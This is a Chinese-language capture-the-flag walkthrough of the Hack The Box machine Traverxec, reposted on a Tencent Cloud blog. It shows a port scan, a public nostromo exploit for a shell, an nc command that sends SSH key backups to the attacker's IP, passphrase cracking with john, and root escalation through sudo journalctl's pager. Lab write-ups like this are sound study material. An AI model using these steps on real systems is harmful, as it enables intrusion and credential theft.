前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【HTB】Traverxec

【HTB】Traverxec

作者头像
yichen
发布2020-03-19 15:24:32
6510
发布2020-03-19 15:24:32
举报

常规扫端口:

nmap -A -sC 10.10.10.165

访问 80 端口,发现有个发邮件的功能

发现它的中间件是 nostromo 1.9.6

搜一下 exp

exp直接利用,得到 www-data 权限的 shell

看一下 /etc/passwd,发现有个叫 david 的用户

可以使用:python -c "import pty;pty.spawn('/bin/bash')"

来生成一个比较好看的终端样子,就像下面这样

cd 到 /var/nostromo/conf 看一下有啥,ls -al 起码要用 -a 啊,不要错过什么东西

cat 一下 nhttpd.conf ,发现了一个叫 public_www 的文件夹

进去看一下:

新开一个终端,nc -lvp 10001 >backup-ssh-identity-files.tgz 用来接收那个压缩包

shell 里面使用 nc 10.10.15.84 10001 < backup-ssh-identity-files.tgz

这样就把压缩包给下到本地 kali 机了

下载出来的文件里有 ssh 的密钥

使用 jhon 破解一下看看把

代码语言:javascript
复制
/usr/share/john/ssh2john.py /root/Desktop/home/david/.ssh/id_rsa > id_rsa.hash

先换成 jhon 能识别的格式

代码语言:javascript
复制
/sbin/john /root/Desktop/home/david/.ssh/id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt

rockyou.txt 字典爆破一波

得到密钥密码,hunter

ssh 登录一波

拿到 user.txt

在 bin 目录下发现其他的东西

在窗口被拉小的时候会触发应用,可以获取root的权限

运行时,把窗口缩小一点,再输入!/bin/sh,成功获得root权限:

代码语言:javascript
复制
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service

惊了

!?

上一次给我这种 这也行 的感觉还是做第五个 crackme 的时候

参考:

https://ca0y1h.top/Target_drone/HackTheBox/3.HTB-Traverxec-walkthrough/

https://www.lofter.com/lpost/1df46e99_1c73cc6b6

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-03-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
消息队列 TDMQ
消息队列 TDMQ (Tencent Distributed Message Queue)是腾讯基于 Apache Pulsar 自研的一个云原生消息中间件系列,其中包含兼容Pulsar、RabbitMQ、RocketMQ 等协议的消息队列子产品,得益于其底层计算与存储分离的架构,TDMQ 具备良好的弹性伸缩以及故障恢复能力。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档